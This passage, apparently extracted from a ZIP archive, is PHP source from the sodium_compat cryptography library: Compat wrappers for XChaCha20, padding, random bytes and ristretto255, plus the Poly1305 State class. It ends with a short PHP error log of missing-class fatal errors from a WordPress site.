$dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.'); } if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) { return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key); } $ic = ParagonIE_Sodium_Core_Util::store64_le($counter); if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic); } return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic); } /** * Return a secure random key for use with crypto_stream_xchacha20 * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_xchacha20_keygen() { return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES); } /** * Cache-timing-safe implementation of hex2bin(). * * @param string $string Hexadecimal string * @param string $ignore List of characters to ignore; useful for whitespace * @return string Raw binary string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2); if (self::useNewSodiumAPI()) { if (is_callable('sodium_hex2bin')) { return (string) sodium_hex2bin($string, $ignore); } } if (self::use_fallback('hex2bin')) { return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore); } return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore); } /** * Increase a string (little endian) * * @param string $var * * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function increment( #[\SensitiveParameter] &$var ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { sodium_increment($var); return; } if (self::use_fallback('increment')) { $func = '\\Sodium\\increment'; $func($var); return; } $len = ParagonIE_Sodium_Core_Util::strlen($var); $c = 1; $copy = ''; for ($i = 0; $i < $len; ++$i) { $c += ParagonIE_Sodium_Core_Util::chrToInt( ParagonIE_Sodium_Core_Util::substr($var, $i, 1) ); $copy .= ParagonIE_Sodium_Core_Util::intToChr($c); $c >>= 8; } $var = $copy; } /** * @param string $str * @return bool * * @throws SodiumException */ public static function is_zero( #[\SensitiveParameter] $str ) { $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]); } return ((($d - 1) >> 31) & 1) === 1; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_major() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) { return SODIUM_LIBRARY_MAJOR_VERSION; } if (self::use_fallback('library_version_major')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_major'); } return self::LIBRARY_VERSION_MAJOR; } /** * The equivalent to the libsodium minor version we aim to be compatible * with (sans pwhash and memzero). * * @return int */ public static function library_version_minor() { if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) { return SODIUM_LIBRARY_MINOR_VERSION; } if (self::use_fallback('library_version_minor')) { /** @psalm-suppress UndefinedFunction */ return (int) call_user_func('\\Sodium\\library_version_minor'); } return self::LIBRARY_VERSION_MINOR; } /** * Compare two strings. * * @param string $left * @param string $right * @return int * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function memcmp( #[\SensitiveParameter] $left, #[\SensitiveParameter] $right ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return sodium_memcmp($left, $right); } if (self::use_fallback('memcmp')) { return (int) call_user_func('\\Sodium\\memcmp', $left, $right); } /** @var string $left */ /** @var string $right */ return ParagonIE_Sodium_Core_Util::memcmp($left, $right); } /** * It's actually not possible to zero memory buffers in PHP. You need the * native library for that. * * @param string|null $var * @param-out string|null $var * * @return void * @throws SodiumException (Unless libsodium is installed) * @throws TypeError * @psalm-suppress TooFewArguments */ public static function memzero( #[\SensitiveParameter] &$var ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1); if (self::useNewSodiumAPI()) { /** @psalm-suppress MixedArgument */ sodium_memzero($var); return; } if (self::use_fallback('memzero')) { $func = '\\Sodium\\memzero'; $func($var); if ($var === null) { return; } } // This is the best we can do. throw new SodiumException( 'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' . 'To fix this error, make sure libsodium is installed and the PHP extension is enabled.' ); } /** * @param string $unpadded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function pad( #[\SensitiveParameter] $unpadded, $blockSize, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $unpadded = (string) $unpadded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_pad($unpadded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException( 'block size cannot be less than 1' ); } $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded); $xpadlen = ($blockSize - 1); if (($blockSize & ($blockSize - 1)) === 0) { $xpadlen -= $unpadded_len & ($blockSize - 1); } else { $xpadlen -= $unpadded_len % $blockSize; } $xpadded_len = $unpadded_len + $xpadlen; $padded = str_repeat("\0", $xpadded_len - 1); if ($unpadded_len > 0) { $st = 1; $i = 0; $k = $unpadded_len; for ($j = 0; $j <= $xpadded_len; ++$j) { $i = (int) $i; $k = (int) $k; $st = (int) $st; if ($j >= $unpadded_len) { $padded[$j] = "\0"; } else { $padded[$j] = $unpadded[$j]; } /** @var int $k */ $k -= $st; $st = (int) (~( ( ( ($k >> 48) | ($k >> 32) | ($k >> 16) | $k ) - 1 ) >> 16 ) ) & 1; $i += $st; } } $mask = 0; $tail = $xpadded_len; for ($i = 0; $i < $blockSize; ++$i) { # barrier_mask = (unsigned char) # (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT)); $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1); # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask); $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask) | (0x80 & $barrier_mask) ); # mask |= barrier_mask; $mask |= $barrier_mask; } return $padded; } /** * @param string $padded * @param int $blockSize * @param bool $dontFallback * @return string * @throws SodiumException */ public static function unpad( #[\SensitiveParameter] $padded, $blockSize, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2); $padded = (string) $padded; $blockSize = (int) $blockSize; if (self::useNewSodiumAPI() && !$dontFallback) { return (string) sodium_unpad($padded, $blockSize); } if ($blockSize <= 0) { throw new SodiumException('block size cannot be less than 1'); } $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded); if ($padded_len < $blockSize) { throw new SodiumException('invalid padding'); } # tail = &padded[padded_len - 1U]; $tail = $padded_len - 1; $acc = 0; $valid = 0; $pad_len = 0; $found = 0; for ($i = 0; $i < $blockSize; ++$i) { # c = tail[-i]; $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]); # is_barrier = # (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U; $is_barrier = ( ( ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1) ) >> 7 ) & 1; $is_barrier &= ~$found; $found |= $is_barrier; # acc |= c; $acc |= $c; # pad_len |= i & (1U + ~is_barrier); $pad_len |= $i & (1 + ~$is_barrier); # valid |= (unsigned char) is_barrier; $valid |= ($is_barrier & 0xff); } # unpadded_len = padded_len - 1U - pad_len; $unpadded_len = $padded_len - 1 - $pad_len; if ($valid !== 1) { throw new SodiumException('invalid padding'); } return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len); } /** * Will sodium_compat run fast on the current hardware and PHP configuration? * * @return bool */ public static function polyfill_is_fast() { if (extension_loaded('sodium')) { return true; } if (extension_loaded('libsodium')) { return true; } return PHP_INT_SIZE === 8; } /** * Generate a string of bytes from the kernel's CSPRNG. * Proudly uses /dev/urandom (if getrandom(2) is not available). * * @param int $numBytes * @return string * @throws Exception * @throws TypeError */ public static function randombytes_buf($numBytes) { /* Type checks: */ if (!is_int($numBytes)) { if (is_numeric($numBytes)) { $numBytes = (int) $numBytes; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.' ); } } /** @var positive-int $numBytes */ if (self::use_fallback('randombytes_buf')) { return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes); } if ($numBytes < 0) { throw new SodiumException("Number of bytes must be a positive integer"); } return random_bytes($numBytes); } /** * Generate an integer between 0 and $range (non-inclusive). * * @param int $range * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_uniform($range) { /* Type checks: */ if (!is_int($range)) { if (is_numeric($range)) { $range = (int) $range; } else { throw new TypeError( 'Argument 1 must be an integer, ' . gettype($range) . ' given.' ); } } if (self::use_fallback('randombytes_uniform')) { return (int) call_user_func('\\Sodium\\randombytes_uniform', $range); } return random_int(0, $range - 1); } /** * Generate a random 16-bit integer. * * @return int * @throws Exception * @throws Error * @throws TypeError */ public static function randombytes_random16() { if (self::use_fallback('randombytes_random16')) { return (int) call_user_func('\\Sodium\\randombytes_random16'); } return random_int(0, 65535); } /** * @param string $p * @param bool $dontFallback * @return bool * @throws SodiumException */ public static function ristretto255_is_valid_point( #[\SensitiveParameter] $p, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_is_valid_point($p); } try { $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p); return $r['res'] === 0 && ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1; } catch (SodiumException $ex) { if ($ex->getMessage() === 'S is not canonical') { return false; } throw $ex; } } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_add( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_add($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q); } /** * @param string $p * @param string $q * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_sub( #[\SensitiveParameter] $p, #[\SensitiveParameter] $q, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_sub($p, $q); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q); } /** * @param string $r * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_from_hash( #[\SensitiveParameter] $r, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_from_hash($r); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random(); } /** * @param bool $dontFallback * @return string * * @throws SodiumException */ public static function ristretto255_scalar_random($dontFallback = false) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_random(); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random(); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_invert( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_invert($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_negate($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_complement($s); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_add( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_add($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_sub( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_sub($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y); } /** * @param string $x * @param string $y * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_mul( #[\SensitiveParameter] $x, #[\SensitiveParameter] $y, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_mul($x, $y); } return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255( #[\SensitiveParameter] $n, #[\SensitiveParameter] $p, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255($n, $p); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p); } /** * @param string $n * @param string $p * @param bool $dontFallback * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base( #[\SensitiveParameter] $n, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_scalarmult_ristretto255_base($n); } return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n); } /** * @param string $s * @param bool $dontFallback * @return string * @throws SodiumException */ public static function ristretto255_scalar_reduce( #[\SensitiveParameter] $s, $dontFallback = false ) { if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_core_ristretto255_scalar_reduce($s); } return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s); } /** * Runtime testing method for 32-bit platforms. * * Usage: If runtime_speed_test() returns FALSE, then our 32-bit * implementation is to slow to use safely without risking timeouts. * If this happens, install sodium from PECL to get acceptable * performance. * * @param int $iterations Number of multiplications to attempt * @param int $maxTimeout Milliseconds * @return bool TRUE if we're fast enough, FALSE is not * @throws SodiumException */ public static function runtime_speed_test($iterations, $maxTimeout) { if (self::polyfill_is_fast()) { return true; } /** @var float $end */ $end = 0.0; /** @var float $start */ $start = microtime(true); /** @var ParagonIE_Sodium_Core32_Int64 $a */ $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); for ($i = 0; $i < $iterations; ++$i) { /** @var ParagonIE_Sodium_Core32_Int64 $b */ $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16)); $a->mulInt64($b); } /** @var float $end */ $end = microtime(true); /** @var int $diff */ $diff = (int) ceil(($end - $start) * 1000); return $diff < $maxTimeout; } /** * Add two numbers (little-endian unsigned), storing the value in the first * parameter. * * This mutates $val. * * @param string $val * @param string $addv * @return void * @throws SodiumException */ public static function sub( #[\SensitiveParameter] &$val, #[\SensitiveParameter] $addv ) { $val_len = ParagonIE_Sodium_Core_Util::strlen($val); $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv); if ($val_len !== $addv_len) { throw new SodiumException('values must have the same length'); } $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val); $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv); $c = 0; for ($i = 0; $i < $val_len; $i++) { $c = ($A[$i] - $B[$i] - $c); $A[$i] = ($c & 0xff); $c = ($c >> 8) & 1; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * This emulates libsodium's version_string() function, except ours is * prefixed with 'polyfill-'. * * @return string * @psalm-suppress MixedInferredReturnType * @psalm-suppress UndefinedFunction */ public static function version_string() { if (self::useNewSodiumAPI()) { return (string) sodium_version_string(); } if (self::use_fallback('version_string')) { return (string) call_user_func('\\Sodium\\version_string'); } return (string) self::VERSION_STRING; } /** * Should we use the libsodium core function instead? * This is always a good idea, if it's available. (Unless we're in the * middle of running our unit test suite.) * * If ext/libsodium is available, use it. Return TRUE. * Otherwise, we have to use the code provided herein. Return FALSE. * * @param string $sodium_func_name * * @return bool */ protected static function use_fallback($sodium_func_name = '') { static $res = null; if ($res === null) { $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300; } if ($res === false) { // No libsodium installed return false; } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } if (!empty($sodium_func_name)) { return is_callable('\\Sodium\\' . $sodium_func_name); } return true; } /** * Libsodium as implemented in PHP 7.2 * and/or ext/sodium (via PECL) * * @ref https://wiki.php.net/rfc/libsodium * @return bool */ protected static function useNewSodiumAPI() { static $res = null; if ($res === null) { $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium'); } if (self::$disableFallbackForUnitTests) { // Don't fallback. Use the PHP implementation. return false; } return (bool) $res; } } PK)L[{[[src/Core/XSalsa20.phpnu[ */ protected $buffer = array(); /** * @var bool */ protected $final = false; /** * @var array */ public $h; /** * @var int */ protected $leftover = 0; /** * @var int[] */ public $r; /** * @var int[] */ public $pad; /** * ParagonIE_Sodium_Core_Poly1305_State constructor. * * @internal You should not use this directly from another application * * @param string $key * @throws InvalidArgumentException * @throws TypeError */ public function __construct($key = '') { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Poly1305 requires a 32-byte key' ); } /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */ $this->r = array( (int) ((self::load_4(self::substr($key, 0, 4))) & 0x3ffffff), (int) ((self::load_4(self::substr($key, 3, 4)) >> 2) & 0x3ffff03), (int) ((self::load_4(self::substr($key, 6, 4)) >> 4) & 0x3ffc0ff), (int) ((self::load_4(self::substr($key, 9, 4)) >> 6) & 0x3f03fff), (int) ((self::load_4(self::substr($key, 12, 4)) >> 8) & 0x00fffff) ); /* h = 0 */ $this->h = array(0, 0, 0, 0, 0); /* save pad for later */ $this->pad = array( self::load_4(self::substr($key, 16, 4)), self::load_4(self::substr($key, 20, 4)), self::load_4(self::substr($key, 24, 4)), self::load_4(self::substr($key, 28, 4)), ); $this->leftover = 0; $this->final = false; } /** * Zero internal buffer upon destruction */ public function __destruct() { $this->r[0] ^= $this->r[0]; $this->r[1] ^= $this->r[1]; $this->r[2] ^= $this->r[2]; $this->r[3] ^= $this->r[3]; $this->r[4] ^= $this->r[4]; $this->h[0] ^= $this->h[0]; $this->h[1] ^= $this->h[1]; $this->h[2] ^= $this->h[2]; $this->h[3] ^= $this->h[3]; $this->h[4] ^= $this->h[4]; $this->pad[0] ^= $this->pad[0]; $this->pad[1] ^= $this->pad[1]; $this->pad[2] ^= $this->pad[2]; $this->pad[3] ^= $this->pad[3]; $this->leftover = 0; $this->final = true; } /** * @internal You should not use this directly from another application * * @param string $message * @return self * @throws SodiumException * @throws TypeError */ public function update($message = '') { $bytes = self::strlen($message); if ($bytes < 1) { return $this; } /* handle leftover */ if ($this->leftover) { $want = ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - $this->leftover; if ($want > $bytes) { $want = $bytes; } for ($i = 0; $i < $want; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } // We snip off the leftmost bytes. $message = self::substr($message, $want); $bytes = self::strlen($message); $this->leftover += $want; if ($this->leftover < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { // We still don't have enough to run $this->blocks() return $this; } $this->blocks( self::intArrayToString($this->buffer), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $this->leftover = 0; } /* process full blocks */ if ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /** @var int $want */ $want = $bytes & ~(ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE - 1); if ($want >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $block = self::substr($message, 0, $want); if (self::strlen($block) >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { $this->blocks($block, $want); $message = self::substr($message, $want); $bytes = self::strlen($message); } } } /* store leftover */ if ($bytes) { for ($i = 0; $i < $bytes; ++$i) { $mi = self::chrToInt($message[$i]); $this->buffer[$this->leftover + $i] = $mi; } $this->leftover = (int) $this->leftover + $bytes; } return $this; } /** * @internal You should not use this directly from another application * * @param string $message * @param int $bytes * @return self * @throws TypeError */ public function blocks($message, $bytes) { if (self::strlen($message) < 16) { $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT); } /** @var int $hibit */ $hibit = $this->final ? 0 : 1 << 24; /* 1 << 128 */ $r0 = (int) $this->r[0]; $r1 = (int) $this->r[1]; $r2 = (int) $this->r[2]; $r3 = (int) $this->r[3]; $r4 = (int) $this->r[4]; $s1 = self::mul($r1, 5, 3); $s2 = self::mul($r2, 5, 3); $s3 = self::mul($r3, 5, 3); $s4 = self::mul($r4, 5, 3); $h0 = $this->h[0]; $h1 = $this->h[1]; $h2 = $this->h[2]; $h3 = $this->h[3]; $h4 = $this->h[4]; while ($bytes >= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE) { /* h += m[i] */ $h0 += self::load_4(self::substr($message, 0, 4)) & 0x3ffffff; $h1 += (self::load_4(self::substr($message, 3, 4)) >> 2) & 0x3ffffff; $h2 += (self::load_4(self::substr($message, 6, 4)) >> 4) & 0x3ffffff; $h3 += (self::load_4(self::substr($message, 9, 4)) >> 6) & 0x3ffffff; $h4 += (self::load_4(self::substr($message, 12, 4)) >> 8) | $hibit; /* h *= r */ $d0 = ( self::mul($h0, $r0, 27) + self::mul($s4, $h1, 27) + self::mul($s3, $h2, 27) + self::mul($s2, $h3, 27) + self::mul($s1, $h4, 27) ); $d1 = ( self::mul($h0, $r1, 27) + self::mul($h1, $r0, 27) + self::mul($s4, $h2, 27) + self::mul($s3, $h3, 27) + self::mul($s2, $h4, 27) ); $d2 = ( self::mul($h0, $r2, 27) + self::mul($h1, $r1, 27) + self::mul($h2, $r0, 27) + self::mul($s4, $h3, 27) + self::mul($s3, $h4, 27) ); $d3 = ( self::mul($h0, $r3, 27) + self::mul($h1, $r2, 27) + self::mul($h2, $r1, 27) + self::mul($h3, $r0, 27) + self::mul($s4, $h4, 27) ); $d4 = ( self::mul($h0, $r4, 27) + self::mul($h1, $r3, 27) + self::mul($h2, $r2, 27) + self::mul($h3, $r1, 27) + self::mul($h4, $r0, 27) ); /* (partial) h %= p */ /** @var int $c */ $c = $d0 >> 26; /** @var int $h0 */ $h0 = $d0 & 0x3ffffff; $d1 += $c; /** @var int $c */ $c = $d1 >> 26; /** @var int $h1 */ $h1 = $d1 & 0x3ffffff; $d2 += $c; /** @var int $c */ $c = $d2 >> 26; /** @var int $h2 */ $h2 = $d2 & 0x3ffffff; $d3 += $c; /** @var int $c */ $c = $d3 >> 26; /** @var int $h3 */ $h3 = $d3 & 0x3ffffff; $d4 += $c; /** @var int $c */ $c = $d4 >> 26; /** @var int $h4 */ $h4 = $d4 & 0x3ffffff; $h0 += (int) self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; $h1 += $c; // Chop off the left 32 bytes. $message = self::substr( $message, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); $bytes -= ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; } $this->h = array( (int) ($h0 & 0xffffffff), (int) ($h1 & 0xffffffff), (int) ($h2 & 0xffffffff), (int) ($h3 & 0xffffffff), (int) ($h4 & 0xffffffff) ); return $this; } /** * @internal You should not use this directly from another application * * @return string * @throws TypeError */ public function finish() { /* process the remaining block */ if ($this->leftover) { $i = $this->leftover; $this->buffer[$i++] = 1; for (; $i < ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE; ++$i) { $this->buffer[$i] = 0; } $this->final = true; $this->blocks( self::substr( self::intArrayToString($this->buffer), 0, ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ), ParagonIE_Sodium_Core_Poly1305::BLOCK_SIZE ); } $h0 = (int) $this->h[0]; $h1 = (int) $this->h[1]; $h2 = (int) $this->h[2]; $h3 = (int) $this->h[3]; $h4 = (int) $this->h[4]; /** @var int $c */ $c = $h1 >> 26; /** @var int $h1 */ $h1 &= 0x3ffffff; /** @var int $h2 */ $h2 += $c; /** @var int $c */ $c = $h2 >> 26; /** @var int $h2 */ $h2 &= 0x3ffffff; $h3 += $c; /** @var int $c */ $c = $h3 >> 26; $h3 &= 0x3ffffff; $h4 += $c; /** @var int $c */ $c = $h4 >> 26; $h4 &= 0x3ffffff; /** @var int $h0 */ $h0 += self::mul($c, 5, 3); /** @var int $c */ $c = $h0 >> 26; /** @var int $h0 */ $h0 &= 0x3ffffff; /** @var int $h1 */ $h1 += $c; /* compute h + -p */ /** @var int $g0 */ $g0 = $h0 + 5; /** @var int $c */ $c = $g0 >> 26; /** @var int $g0 */ $g0 &= 0x3ffffff; /** @var int $g1 */ $g1 = $h1 + $c; /** @var int $c */ $c = $g1 >> 26; $g1 &= 0x3ffffff; /** @var int $g2 */ $g2 = $h2 + $c; /** @var int $c */ $c = $g2 >> 26; /** @var int $g2 */ $g2 &= 0x3ffffff; /** @var int $g3 */ $g3 = $h3 + $c; /** @var int $c */ $c = $g3 >> 26; /** @var int $g3 */ $g3 &= 0x3ffffff; /** @var int $g4 */ $g4 = ($h4 + $c - (1 << 26)) & 0xffffffff; /* select h if h < p, or h + -p if h >= p */ /** @var int $mask */ $mask = ($g4 >> 31) - 1; $g0 &= $mask; $g1 &= $mask; $g2 &= $mask; $g3 &= $mask; $g4 &= $mask; /** @var int $mask */ $mask = ~$mask & 0xffffffff; /** @var int $h0 */ $h0 = ($h0 & $mask) | $g0; /** @var int $h1 */ $h1 = ($h1 & $mask) | $g1; /** @var int $h2 */ $h2 = ($h2 & $mask) | $g2; /** @var int $h3 */ $h3 = ($h3 & $mask) | $g3; /** @var int $h4 */ $h4 = ($h4 & $mask) | $g4; /* h = h % (2^128) */ /** @var int $h0 */ $h0 = (($h0) | ($h1 << 26)) & 0xffffffff; /** @var int $h1 */ $h1 = (($h1 >> 6) | ($h2 << 20)) & 0xffffffff; /** @var int $h2 */ $h2 = (($h2 >> 12) | ($h3 << 14)) & 0xffffffff; /** @var int $h3 */ $h3 = (($h3 >> 18) | ($h4 << 8)) & 0xffffffff; /* mac = (h + pad) % (2^128) */ $f = (int) ($h0 + $this->pad[0]); $h0 = (int) $f; $f = (int) ($h1 + $this->pad[1] + ($f >> 32)); $h1 = (int) $f; $f = (int) ($h2 + $this->pad[2] + ($f >> 32)); $h2 = (int) $f; $f = (int) ($h3 + $this->pad[3] + ($f >> 32)); $h3 = (int) $f; return self::store32_le($h0 & 0xffffffff) . self::store32_le($h1 & 0xffffffff) . self::store32_le($h2 & 0xffffffff) . self::store32_le($h3 & 0xffffffff); } } PK)L[JVO||src/Core/Poly1305/error_lognu[[18-May-2025 06:15:11 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [05-Jun-2025 01:11:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [21-Jun-2025 08:59:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in 